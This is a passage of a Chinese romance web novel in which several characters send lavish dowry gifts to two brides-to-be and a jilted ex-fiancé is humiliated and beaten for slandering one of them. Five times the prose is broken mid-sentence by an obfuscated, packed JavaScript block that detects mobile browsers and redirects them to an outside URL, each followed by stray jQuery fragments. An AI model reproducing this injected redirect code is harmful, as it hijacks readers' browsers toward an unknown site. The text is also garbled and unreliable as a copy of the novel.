难道婚事有变?
“快请!”祝祷忙道,整理了一下衣袍。
来人身形挺拔,衣着体面却不高调,行事稳重,进门后规规矩矩行礼,自称名叫子平,是卫国公世子的贴身随从。
他并未多言,只从怀中取出一封信并一把黄铜钥匙,恭敬地呈上:“祝大人,祝夫人安好。世子命小人将此物送来。信中写明了具体地址,这是钥匙。世子说请您二位务必亲自去一趟。”
祝祷伸手接过。
子平又道:“世子不便亲自前来,免得引人注目,于小姐清誉有碍。东西请您二位自行处置便是。小人话已带到,告辞。”
说完,又行一礼,利落地退走了,留下祝祷夫妇拿着钥匙和信,面面相觑,满心疑惑。
“你快看看,裴世子说了什么?”祝夫人催促着夫君拆开信。
祝祷快速浏览着信上的内容,脸上的表情从疑惑变为震惊,又从震惊变为一种难以言喻的动容和复杂。
“怎么了,你倒是说啊。”祝夫人急得团团转。
夫君表情太过复杂,她都不知道这是好事还是坏事。
若女儿的婚事又出岔子,那她就跟卫国公府拼了!
祝祷哈哈一笑,将信递给夫人:“夫人英明,给红玉找了个好夫婿。”
祝夫人一把抢过,顾不上搭理夫君,迫不及待地看了起来。
信上,裴明镜的字迹挺拔有力,言辞极其简洁客气。
只说得知祝家正在筹备嫁妆,他身为未来夫婿,理当略尽心意。
芙蓉巷宅院内之物,乃他历年积攒的一些东西,本无大用,若能添入祝家的嫁妆单中,全了国公府的颜面,便是物尽其用。
“这……”祝夫人看完,手都有些抖了。
她没想到裴明镜思虑竟如此周全,还想着替女儿准备嫁妆。
祝祷长叹一声,语气里满是感慨:“裴世子当真是用心良苦啊。走,我们去看看!”
夫妻二人当即带着心腹,乘着不起眼的马车,悄悄去了芙蓉巷。
打开宅院的门锁,发现里面收拾得干干净净,正厅里整整齐齐地码放着十几个箱子。
夫妻二人打开一看,发现箱子里都是实实在在的好东西。
最上面几个箱笼是衣料,另有几个箱子装着古玩摆件,还有单独的头面首饰。
还有一箱子整整齐齐码着成色极好的银锭。
旁边还放了两个小匣子。
其中一个放着零散但成色极好的珍珠、宝石,显然是留着给人镶着玩的。
另一个放着碎银子和铜钱,明显是备好给拿去打赏下人的。
祝夫人看着眼前的东西,眼泪都快出来了:“红玉这回真是嫁对人了。”
祝祷沉默良久,重重拍了拍箱子:“走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272984|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,收拾好东西,悄悄运回去。一件不许漏,全都记在红玉的嫁妆单子上!”
东西悄无声息地运回祝家,府中上下清点造册,忙活了半天。
当晚,祝夫人去了女儿的房里,将事情原原本本告诉了她,又把那份新添的嫁妆单子给她看。
祝红玉听着母亲的话,看着单子上有些她连名字都没听过的珍贵物件,整个人都愣住了。
她想起那天在玄空寺和裴明镜的见面。
她还以为这桩婚事只是交易,各取所需。
没想到他竟然在背后默默做了这么多。
他不仅想到了她可能面临的困境,还如此小心翼翼地维护着她和娘家的尊严,把事情做得这般体贴周到。
这哪里是交易?
祝红玉只觉得脸上阵阵发烫,心跳得飞快,一种陌生的、酸酸甜甜的暖流涌遍全身。
祝夫人看着女儿这副羞不自胜的模样,哪里还不明白,笑着拍拍她的手:“娘这下可算放心了。”
她原本还担心女儿高嫁会受委屈。
如今看来,裴世子是个妥帖人,断然不会轻易委屈了女儿。
祝红玉小声地“嗯”了一声,心里头一次对这桩婚事,生出了真切的期待。
*
裴明镜此事做得隐蔽,除了祝家人之外,只有谢翊宁知道了这件事。
他派人盯着裴明镜,生怕他不好好成婚,忽然头脑发热去跟他抢婋婋。
如今看来,他对这桩婚事倒是认真。
“啧。”谢翊宁从他这法子里得到了些许灵感。
他冲停云招了招手。
停云立刻迎了上来:“王爷有何吩咐?”
“去,你去库里找些好东西,没事就找人分批送去摘星山庄。让婋婋以后留着当陪嫁。”
停云应了一声是,毫不犹豫地去执行了。
翌日。
棠云婋看着运来的黄花梨木雕花千工床、梳妆台还有屏风,陷入疑惑。
好端端的,王爷忽然给她送那么多大件做什么?
第409章 我的是你的
停云挠了挠头,咧开一个实诚的笑容,声音洪亮:“郡主,王爷让我给您送嫁妆来啦。说这些大件打得慢,得抢先预备上。”
他指着那千工拔步床,语气里带满是止不住的炫耀。
“您瞧瞧这床,多结实!用的都是上好的黄花梨木,保证您呀,日后一躺上去就睡得安安稳稳。”
他又拍拍梳妆台。
“还有这个,抽屉多,能装!您以后珠钗首饰肯定少不了,都得有地方归置。”
最后他大手一挥,总结道:“王爷说了,好东西就得先紧着您送来。让您看看喜不喜欢,若不喜欢,您让人画个样子,回头属下找工匠重新去打。”
棠云婋一愣。
嫁妆?她还真没仔细琢磨过这个。
她下意识伸手摸了摸那梳妆台的桌面,木头冰凉光滑的触感让她回过神来。
是了,寻常高门贵女,往往从出生起,家里便开始一点点积攒上好木料,请人慢慢打造这些体面又实用的大件家具,经年累月,方能凑齐一套光彩夺目的陪嫁。
可她与家人团聚时日尚短,家中也并非什么大富大贵的人家。
她又将手头大部分的存银都换成了棉衣和药材,送往边关。留下的只有那些不能变卖的御赐之物。
这些作为未来王妃的嫁妆,实在不算丰厚。
从前御赐的东西大多是珍宝首饰、绫罗绸缎、田铺庄子,却没有赏赐过这些笨重的生活家具。
满打满算距离他们二人的婚期也就半年多,她很难找到这样好的料子。
黄花梨木这种好东西,有价无市,就算幸运的找到了合适的料子,京里手艺顶尖的老师傅,手里的活计都排到三年后了。
如今谢翊宁却把这些最棘手、最耗时的东西,不声不响地就给她送来了。
回过神来,棠云婋心里浮起一丝丝带着甜意的暖流。
王爷当真待她很好很好,好到连嫁妆这种事都替她考虑周全了。
“那就替我谢谢王爷了。”她知道若是拒绝,反倒会惹谢翊宁不怒。
她得好好想想,给谢翊宁回些什么礼物才好。
不曾想,她还没想到送谢翊宁什么,第二天,停云又带着东西来了。
一打开箱子,里边的珠光宝气几乎要闪瞎她的眼睛,全是各式各样贵重的头面。
旁边还有好几个小匣子,里面塞满了各式金镙子、宝石耳坠、翡翠戒指,琳琅满目。
另一箱则是极品衣料。
光滑如水的大红云锦、轻薄如烟的软烟罗、色彩绚烂的蜀锦,还有好几块颜色沉稳厚重的极品貂皮和狐皮。
棠云婋看着这些足够她穿用好几年的珍贵东西,这次是真的有点懵了。
“这……也是嫁妆?”她不可置信地看向停云。
“是。”停云重重点头。
棠云婋这下是真的有些为难了。
上回的大家伙还好说,确实一时半会找不到,收了也就收了。
可如今她已经有很多的首饰了,王爷可以不必再送了。
再送,她真的不知道该回什么了。
她和娘亲还有衔蝉几个心腹丫鬟商议了半天,才决定亲手给他做一件一件里衣和一双靴子,当做回礼。
毕竟永安王什么好东西没见过,她亲手做的这些东西,勉强算有诚意吧。
结果现在衣裳和鞋子没做好,王爷又送了新东西来。
但退回去,王爷肯定会不高兴。
棠云婋只得无奈地看着停云:“你替我谢谢王爷,但真的!真的!不必再送了。”
“属下一定将您的话带到。”停云老实答应了下来。
棠云婋以为这下总算可以结束了。
没想到,翌日,王府的马车再一次准时停在了摘星山庄门口。
这次来的不是大件家具,也不是箱笼,而是几个捧着锦盒的侍卫和一个妇人。
棠云婋打开一看,一个盒子里放着的是一套前朝古籍,明显是有价无市的珍藏。
另一个是一对成色极品的白玉如意,玉质温润无瑕。
最大的盒子里,放的是一把她只在古籍上见过的古琴。
棠云婋彻底傻眼了。
“这位是?”她看向了那名约莫三十岁的夫人。
停云嘿嘿一笑,介绍道:“这是王爷给您找的绣娘,满京城里,就她手艺最好。她可是宁大家双面绣手艺的唯一传人。”
“王爷说了您的嫁衣啊,必定得是全京城最最最好看的。”
这下棠云婋真坐不住了,直接跟着停云杀到了王府。
王府的门房见是她,连通报都省了,一路畅通无阻地让人将她引到了谢翊宁常在的书房外。
她也没让人通报,自己就推门进去了。
谢翊宁正坐在窗下的软榻上,手里拿着一卷书,有一搭没一搭地看着,雪团儿趴在他的怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272985|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里打盹。
见棠云婋进来,他眼睛一亮,立刻坐直了些,嘴角弯起:“婋婋,你怎么来了?”
雪团儿被他忽然的动作惊动,不满地“喵”了一声,跳走跑了。
棠云婋开门见山道:“你前天让人给我送了千工床、梳妆台和屏风,昨天送首饰衣料,今天又送古籍、古琴和玉如意。好嘛,还送了个大活人。你再这么送下去,我那摘星山庄都摆不下了。”
她越说越觉得好笑又好气,语气里带上了自己都没察觉的娇嗔。
“谢翊宁,你跟我说实话,你是不是打算把你整个王府都拆了,一块砖一片瓦全都要塞到我嫁妆单子里去?”
听到她喊自己全名,谢翊宁猛地瞪大了眼睛。
这感觉,怪新奇的。
棠云婋见他瞪大了眼睛,一时间也意识到自己刚刚竟然直呼了王爷的大名。
咳咳,这实在是太冒犯了。
但她还是强撑着气势不肯认输,跟着谢翊宁大眼瞪大眼。
谢翊宁看着她的眼睛,气势莫名矮了一截,小声嘟囔道:“没有啊。谁、谁要拆王府了……”
但他很快又理直气壮起来,下巴微扬:“本王的东西,想送给谁就送给谁。”
“再说了,我的不就是你的?早点给你晚点给你,有什么分别?难不成你嫌弃我给的,以后打算用别人的嫁妆不成?”
最后那句话,似乎还带上了隐隐的委屈。
好像棠云婋不收,就是打算不要他了一样。
棠云婋:“……”
她打了一肚子的草稿,全被他这句“我的不就是你的”和那副“你敢不要试试”的神情堵得严严实实,一个字都说不出来了。
她还能说什么?
棠云婋低下头,唇角忍不住一点点弯起来,最终没忍住“扑哧”一声笑了出来。
“行了行了。”她声音软了下来。
谢翊宁见她笑了,不等她说下去,直接打断她:“那你的意思就是肯收了?绝不许退回来!”
棠云婋看着他执拗的眸子,只得无奈地点了点头。
“好。不退回去。但说好了,不能再送了。”
再送真的还不起了。
当然,这话她没说出口。
她知道,她要是说出口,王爷肯定有一堆的话等着回她。
“行行行,不送就不送。”谢翊宁答应了下来。
反正还有的是人会送。
第410章 婆婆嫂嫂宠
未央宫里。
崔皇后正看着自己库房的单子,琢磨着给棠云婋送些什么东西当陪嫁。
一旁侍立的大宫女云黛瞧着,忍不住轻声道:“娘娘,您这两日都在翻册子,是要给谁赏赐么,怎么这般劳神?”
崔皇后闻言,从册子里抬起眼,没好气地哼笑一声,那眼神里却全是无可奈何的宠溺。
“你当本宫想这么折腾?”她放下册子,揉了揉额角。
“还不是小石头那混小子!”
“前日就跑来宫里,赖在本宫这儿半天不肯走,那架势是恨不得把本宫这库房都搬空了去填他未来媳妇的嫁妆箱子。”
云黛“啊”了一声。
原来是为了永安王啊。
那日她正巧没在娘娘身边办差,错过了这一茬。
怪不得娘娘这么操心呢。
崔皇后点了一旁的妙檀:“那日你在场,你给云黛学学,那混小子是怎么在本宫面前胡搅蛮缠的。”
妙檀有些不好意思地站了出来。
她轻咳两声,随后学着谢翊宁那理直气壮又带着点耍赖的腔调跪在了崔皇后脚边。
“母后,您好不容易才盼到儿臣娶媳妇,可不能小气了!得多给点,不然您的儿媳妇跑了怎么办?”
“母后库房里那套红宝石头面放着也是落灰,不如赏给婋婋呗。年轻小姑娘戴那个颜色,娇俏又看好。”
“婋婋皮肤白,穿月影纱肯定好看,儿臣记得您好像有这玩意,对吧?”
一旁的云黛听得忍俊不禁,拿帕子掩了掩嘴:“原来是永安王的主意。奴婢就说呢,娘娘您今日怎么看单子看得这般仔细。”
“能不仔细吗?”崔皇后嗔道,眼里却荡着着笑意。
“本宫若挑得少了薄了,那小子的怕是要在未央宫门口躺好几日呢。罢了罢了。”
她重新拿起册子,指尖在几样东西上重点点了点。
“就这套赤金嵌红宝石的头面,还有那几匹月影纱都寻出来,再添上两箱宫缎和两套官窑瓷具,一并给婋婋那丫头送去吧。”
崔皇后说着,眼神里流露出几分真切的怜惜:“那孩子,从前在定远侯府也是吃了不少苦头。唉,如今虽说认回了亲人,到底家底还是薄了些。本宫总得替她想着点。”
她正说着,殿外宫女轻声通传:“皇后娘娘,太子妃来了。”
“清梧来了呀,快让她进来。”崔皇后笑呵呵地下令。
不一会儿,太子妃沈清梧便笑着走了进来。
她性子温婉,与崔皇后关系极好,先行了礼,才柔声询问道:“母后这是在挑什么呢?”
崔皇后招手让她近前坐下,笑道:“还不是小石头那混小子,让本宫给他未来的王妃挑些陪嫁。你来得正好,你也挑挑,你喜欢什么,挑两样带回东宫去。”
沈清梧抿唇一笑,起身行礼:“多谢母后。”
随后她从袖中取出一个小巧的锦盒,打开来看,里面是一对水头极好的翡翠玉镯,温润通透。
她柔声道:“儿媳也正是为此事来的。昨日七弟那孩子,可是跑到东宫缠了太子大半日。”
崔皇后一听,顿时来了精神,又是好笑又是好气:“哦?他还去磨太子了?合着祸祸本宫一个还不够,还要把太子那边的好东西也要一遍?”
沈清梧想起昨日情景,也跟着笑了起来。
“可不是嘛。七弟赖在书房里,一会儿说太子库房里那对翡翠镯子成色好,衬他的王妃。”
“一会儿又说那套紫檀木嵌螺钿的文具搁着无用,不如给他的王妃日后记账用。”
“歪理一套一套的。最后殿下被他磨得没法子,连声说‘给给给,都给你的王妃搬去!’这才把他打发走。”
崔皇后听着也是哭笑不得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272986|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
沈清梧将锦盒推向崔皇后:“殿下吩咐我将这对镯子寻出来,再添上那套文具,并两匹新进的霞光锦,一并给令嘉郡主送去。我来是想着再问问母后,可还有什么要添减的?”
“七弟那孩子胡闹归胡闹,但这份心倒是真的。令嘉郡主如今的情况,我们也确实该多帮衬些,总不能让她受了委屈。”
崔皇后听着,心里又是熨帖又是感慨。
自己那小儿子混世魔王一个,难得对一个姑娘如此上心。
太子夫妇也是仁厚,愿意这般疼爱照拂未来的弟媳。
她的两个儿子都是顶顶好的孩子。
还有她的眼光可真不错,大儿媳,小儿媳,都好得没话说。
她拉过沈清梧的手,轻轻拍了拍:“你们都是好孩子,想得周到。就按太子说的办,很好。”
“咱们啊,都得给令嘉那孩子把场面撑起来,让所有人都看看,她可是我们都放在心尖上疼的孩子。”
“嗯。”沈清梧笑着点头应下了。
*
棠云婋回了摘星山庄没多久,以为永安王那边不会再送东西来,可以消停了。
结果没想到隔了一日,崔皇后和太子妃又送了东西来。
她这才反应过来,为何永安王会这么痛快地答应不送东西了,合着是找了别人给她送呀。
她无奈极了,但也只能道谢接了下来。
带着儿子来摘星山庄做客的烈国公夫人看到这些赏赐,眼底流露出了欣慰。
她笑着看向方青鸾:“这下你可以放心了吧。不仅永安王对婋婋好,皇后娘娘这个婆婆,太子妃这个妯娌,对婋婋都很好。”
方青鸾点了点头,忍不住感慨:“是啊。真的像做梦一样。”
这样好的婆婆和妯娌,寻常人家都不多见。
反倒在皇室见到了。
真是让她不可置信。
第411章 撞见喝花酒
眼看着九月二十五越来越近,永昌伯府里,邱彦之觉得哪哪儿都不顺眼。
书房里,他摔了本书,冲旁边伺候的小厮发脾气:“这什么破茶?会不会伺候,你是想烫死爷吗?”
小厮心里叫屈,这茶明明晾了有一会儿了,哪能烫得**,二爷这分明是心里窝着火故意找茬。
毕竟马上就到了祝小姐和裴世子大婚之日,二爷不要的未婚妻,如今转眼风光大嫁,他心里能好受么。
邱彦之的母亲洪氏端着碗清心降火的茶进来,挥退小厮,安慰道:“彦之,你且消停些。为那个没人要的老姑娘动气,不值当。”
这话不说还好,一说反倒更戳邱彦之的肺管子。
“没人要?娘,她现在可是要嫁进卫国公府了。那可是裴明镜!”他咬牙切齿。
裴明镜,京城里多少人称赞的天之骄子。
若不是受了他那个母亲的拖累,哪里轮得着祝红玉捡这个便宜。
“当初她当街打我,让我成了全京城的笑柄,结果呢?她倒好,扭头攀上高枝了。我倒成了给人腾地方的傻子。”
这几年,他看着祝红玉一年年蹉跎,从十六到二十三,听着外面议论她“悍妒”、“没人敢娶”,心里就痛快。
她越惨,就越证明当初不是他邱彦之烂泥扶不上墙,而是她祝红玉本身就有问题,才消受不起他这门好亲事。
可现实给了他响亮的一耳光。
人家不仅嫁了,还嫁得比他家显赫百倍。
如今京城茶余饭后,谁不把他邱彦之那点破事又翻出来,当下酒菜。说他眼瞎,说他活该。
“那怎么了,她熬成老姑娘了才捡着个高的,指不定里头有什么我们不知道的腌臜事呢。”洪氏心里也不痛快。
当初祝红玉当街暴揍她儿子,让他们受了多少非议。
她巴不得祝红玉一辈子嫁不出去才好。
谁料到,她竟然转头攀上了裴明镜。
这下好了,祝夫人还不知道要怎么在她面前耀武扬威呢。
和她关系不好的妯娌,这些日子也明里暗里地嘲讽他们错把珍珠当鱼目给舍弃了。
“行了,您别说了,我得出去透透气。”邱彦之听到母亲说这样的话,没有宽慰反倒憋得难受,直接摔门而出。
“诶,彦之,彦之……”洪氏追了上去,但邱彦之走得飞快,她压根追不上。
出了家门,邱彦之脚下一拐,直接钻进了京城有名的销金窟醉花楼。
他正想说开个雅间,随后意识到他可挥霍的银子不多了,又改口要了个雅座。
几杯烈酒下肚,身边偎着娇声软语的姑娘,邱彦之心头那点郁闷却没散,反而愈发不痛快,看什么都不顺眼,连姑娘喂到嘴边的葡萄都让他觉得腻味。
正烦躁着,一阵喧闹声涌了进来。
他抬头一看,走进来的是以兵部尚书之子程昀为首的那帮纨绔子弟。
他这一看,正好和程昀对上了目光。
程昀唇角勾起一抹笑,邱彦之心底有股不妙的预感。
果不其然,程昀领着他的狐朋**们走了过来。
“哟!我当这是谁呢?这不是永昌伯府的邱二少吗?”程昀一巴掌拍在邱彦之肩膀上。
“怎么一个人在这儿喝闷酒啊?哦——对了,我想起来了,快九月二十五了嘛,这是在给前未婚妻庆贺?”
旁边一个纨绔子弟也嬉皮笑脸地接话:“程小五你这不就哪壶不开提哪壶嘛。咱邱二少如今可是京城头一号的‘让妻君子’,心胸开阔着呢!”
周围的人立刻发出一阵心领神会的哄笑。
邱彦之被拍得一个趔趄,红着眼抬头,怒气直冲头顶:“你们少他娘在这儿放屁!”
他猛地一拍桌子,声音拔高,带着浓重的酒气和怨毒:“祝红玉那母夜叉,凶悍善妒,毫无妇德。除了动粗还会什么?那种女人,白送给我,我都不要。”
“等着吧!等裴明镜新鲜劲儿过了,看她不顺眼了,迟早把她休了。到时候我看她还怎么嚣张。她就是个被休弃的命!”
他吼的声音极大,几乎盖过了大堂里的嘈杂。
一瞬间,整个醉花楼似乎安静了一瞬。
程昀几人脸上的嘲笑僵了一下,眼神有点微妙地往邱彦之身后瞟。
一个没有任何起伏的冰冷声音从邱彦之身后响起。
“哦?本世子怎么不知道,我何时要休妻了?”
“哐当。”邱彦之手里的酒杯直接掉在地上,摔得粉碎。
他浑身的酒意像被一盆冰水从头浇到脚,瞬间醒了七八分,冷汗唰地一下就冒了出来。
他僵硬地扭过头。
只见不远处,裴明镜不知何时站在那里,脸上没什么表情,只一双眼睛黑沉沉的看着他。
邱彦之舌头都打结了:“世、世子……我、我胡说的……我喝多了……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274227|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴明镜目光扫过程昀那帮纨绔子。
几人下意识地往后退了半步,不敢直视他,脑子里全是疑惑:裴明镜怎么会出现在这样的地方???
他这人不是最讲究名声了么。
如今他又不是京兆尹,不需要查案了,为何还会出现在醉花楼?
裴明镜的目光最后落回了邱彦之身上,语气平淡却带着不容置疑的压迫感:“看来永昌伯府的家教,是有些疏漏了。区区一个白身,也敢在此妄议未来国公府女主人的清誉。”
他微微偏头,对身后的护卫吩咐道:“帮邱二公子醒醒酒。然后,好好将人送回永昌伯府。”
“是!”两名护卫二话不说,上前一左一右架起邱彦之不许他挣脱。
其中一名护卫面无表情地扫了一眼桌上喝剩的半壶凉茶,顺手就拿了过来。
根本不给邱彦之反应的时间,捏着他下巴迫使他抬起头,壶嘴对着他的脸。
“哗啦!”
半壶混着茶叶末的凉茶水劈头盖脸地浇了下去。
“唔!咳咳咳!”邱彦之被呛得剧烈咳嗽,冰冷的茶水顺着他头发、脸颊、脖子往下淌,瞬间浸透了前襟,狼狈不堪。
残存的酒意被这突如其来的冰凉刺激得又醒了大半,他瞪大了眼睛看着裴明镜,却不敢造次。
裴明镜一个眼神看过去:“看来邱二公子酒还没醒,愣着干嘛。”
两个护卫心领神会,当即抬手狠狠赏了邱彦之一个大嘴巴子。
邱彦之傻眼了。
他没想到裴明镜竟然会让人当众打他。
另一个护卫看主子眼神行事,见他没有叫停的意思,继续抽他。
邱彦之大声嚷嚷道:“我酒醒了!醒了!”
但裴明镜依旧没开口。
护卫便继续抽。
邱彦之被抽得头晕眼花,那点酒意早已经不知道哪里去,忽然福至心灵,大喊道:“我错了,我先前不该胡言乱语,妄议您的未婚妻。我真的知道错了。求世子饶了我这一回。”
裴明镜这才淡淡开口:“看来邱二公子的酒醒得差不多了,将人送回去吧。记得转告永昌伯,若他不会教导儿子,大可以送到卫国公府去,本世子如今清闲得很,可以替他管教。”
两名护卫应声,毫不客气地拖着狼狈不堪的邱彦之离开了醉花楼。
程昀几个纨绔面面相觑,冷汗也下来了,再不敢多待,灰溜溜地赶紧跑了。
第412章 捡了个渣滓
马车在永昌伯府门前停下,两名护卫像扔破麻袋一样将邱彦之“请”下了车,毫不客气地往门房前一推。
“人已送到。劳烦转告永昌伯,世子吩咐,请他好好教导儿子,莫要再让他酒后失德,妄议他人。”
护卫声音洪亮,确保周围几个探头探脑的下人都听得清清楚楚,说完抱拳行了一礼,转身上马就走,半分情面不留。
门房小厮看着狼狈不堪的邱彦之,见他脸肿得老高,衣裳上还沾着茶叶沫沫,浑身酒气,吓了一跳,赶忙连滚带爬地进去通报。
永昌伯邱冠庭听到这消息,顿时气血上涌,额头青筋直跳。
“把那孽障给我拖到祠堂来。”
邱彦之被两个粗壮婆子架着跪在冰冷的地砖上。
看着父亲严肃生气的脸,他忍不住哆嗦了一下。
永昌伯看着儿子这副不成器的模样,想起当年他闹出的丑事,如今又旧事重提惹到卫国公府头上,简直是把他们永昌伯府的脸面扔在地上踩。
他抄起手边的藤条,狠狠抽了下去。
“我让你嘴碎!”
“我让你去那种地方!”
“我让你还敢议论卫国公世子的未婚妻!”
“邱家的脸都让你丢尽了!”
“这么多年了一点长进都没有,我打死你个混账东西!”
藤条抽在邱彦之身上,疼得他嗷嗷直叫,满地乱滚:“爹!爹,我错了,我再也不敢了。哎哟!您别打了!”
动静闹得太大,洪氏带着儿媳妇邓如意急匆匆赶来。
一进祠堂,看到儿子被打得嗷嗷叫,脸上还带着未消退的肿,衣裳破烂湿透,洪氏的心肝都疼碎了。
“伯爷,伯爷息怒啊。”洪氏扑上去就想拦。
“彦之他知道错了。他只是喝多了……”
“都是那祝红玉,都是那个丧门星害的。要不是她,我儿怎么会变成这样。她都要嫁人了还不安分,勾着裴世子来作践我儿!我绝饶不了她!”
“你闭嘴!”永昌伯正在气头上,一听她还要攀咬别人,更是火冒三丈。
“慈母多败儿。就是你这般纵容,他才敢无法无天。滚开!”
洪氏被吼得一哆嗦,不敢再去拦盛怒的丈夫。
一扭头看见低眉顺眼站在一旁的儿媳邓如意,立刻把火气撒到了她身上。
“你还愣着干什么。没看见你夫君伤成这样了吗?还不快扶他回去清理上药,一点眼力见都没有。”
邓如意被婆婆吼得身子一颤,低低应了声“是”,走上前去。
弯腰扶起邱彦之的那一刻,闻到他身上浓重的酒味和汗渍、茶水混合在一起的馊味,一股难以言喻的恶心和悔恨猛地涌上了邓如意的心头。
这就是她嫁的夫君。
当年邱祝两家退婚,她家世稍逊,能嫁给伯府嫡子当正房夫人,家里都说她是走了大运。
她也曾暗暗得意,赢了那个彪悍的祝家小姐。
可现在她只觉得无比讽刺。
祝红玉甩掉了这个烂泥扶不上墙的男人,哪怕蹉跎了几年,最终却嫁入了更高的门第,得了那般维护她的夫婿。
而自己呢?
捡了别人毫不留恋丢弃的渣滓废物,还当个宝似的供着。
替他操持家务,应付婆婆,如今还要伺候他这副丢人现眼后的惨状。
邱彦之借着她的力道哼哼唧唧地爬起来,大半重量压在她身上,嘴里还在不清不楚地嘟囔:“疼死我了,你就不能轻点吗……”
邓如意咬着唇没有吭声,将他带回了院子里,派人请了大夫,随后让丫鬟替他梳洗,自己一头躺到床上去,再也不管了,在被窝里低低地哭了起来。
*
翌日,邱彦之醒了。
他感觉身上被他爹用藤条抽过的地方火辣辣地疼,脸上被裴明镜护卫扇过的地方也肿着,稍微动一下就龇牙咧嘴。
他躺在床上,昨夜的**和今日的疼痛交织在一起,越想越憋屈,越想越觉得这全是祝红玉的错。
要不是她,他怎么会去喝酒?
不喝酒怎么会遇上程昀那几个孙子?
又怎么会被他们刺激得说了那等胡话,倒霉催地撞上裴明镜?
还有爹,居然下那么重的手。
他到底是不是他亲生的了。
还有邓如意那个女人,她昨晚扶他回来时,那是什么眼神?嫌弃他?
一股邪火直冲天灵盖,他猛地从床上爬起来,也顾不上浑身疼痛,胡乱套了件衣服,脸都没洗,就一瘸一拐地冲出了府,直奔祝家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274228|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而去。
他非要找祝红玉说个明白。
要不是她,他怎么会落到这个地步。
到了祝家门口,他也不顾门房的阻拦,红着眼睛就往里闯,嘴里不干不净地嚷嚷:“祝红玉,你出来!你以为你攀上高枝了就了不起了?”
“我告诉你!裴明镜也不是什么好东西!他昨天也在醉花楼!”
“他一样逛青楼。你以为你找了个什么清白君子?呸!跟老子是一路货色。你得意什么!”
“你迟早被休!”
祝夫人听到他这番污言秽语气得浑身发抖。
“来人,将他给我打出去!”
夫人一声令下,几个家丁冲上来就要把他撵出去。
“不用,放着,让我来!”十岁的祝青锋听到这人如此污蔑姐姐和未来姐夫,气得大喊一声就冲上去要揍人。
“让你骂我姐,你才被人休呢!!!”
一时间祝家的院子里乱成了一团。
正推搡着,祝祷下衙回府,马车还没停稳就听见了院子里的动静。
进来一看,从夫人口中得知了事情经过,顿时火冒三丈。
他本身对这个没有担当退亲的前女婿就不满,如今他还敢上祝家挑衅,污蔑他的女儿和未来女婿,简直岂有此理。
“好你个邱彦之!还敢来我祝家放肆!”祝祷大喝一声,顾不上什么官威体统。
他一把推开家丁,让小儿子一边去。
他揪住邱彦之的衣领,一拳头照着他那本就肿着的脸就抡了过去。
“我让你满嘴喷粪!我让你诋毁我女儿!我让你败坏裴世子名声!老子今天就替你爹好好管教你!”
和心有顾虑所以手下留情的家丁,还有力气不够的祝青锋比起来,祝祷这可是真打,拳拳到肉。
邱彦之本来身上就带伤,没几下就被揍得鼻青脸肿,哭爹喊娘,比昨天在祠堂还惨十倍。
祝祷打累了,喘着粗气,对着瘫在地上像条死狗的邱彦之狠狠啐了一口唾沫。
“滚!再敢来我祝家撒野,老子打断你的腿!”
说完,扭头吩咐家丁:“把这滩烂泥给我扔回永昌伯府去。看着就晦气!”
不曾想,一直没露面的祝红玉站了出来。
“爹,等等。”
第413章 那我就揍他
祝祷看向女儿,忙道:“红玉,还等什么。如今你马上要嫁去国公府,莫要冲动。为了这样的烂人动手,不值当。”
他还以为女儿是没过瘾,还想亲手把邱彦之揍一顿。
